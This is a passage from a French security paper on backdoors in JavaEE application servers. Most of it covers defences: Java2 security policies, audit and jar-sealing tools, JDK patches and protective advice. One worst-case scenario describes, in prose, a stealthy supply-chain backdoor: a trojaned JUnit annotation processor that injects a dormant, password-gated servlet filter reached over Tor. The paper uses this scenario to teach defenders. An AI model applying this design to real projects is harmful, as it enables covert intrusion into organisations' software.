-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
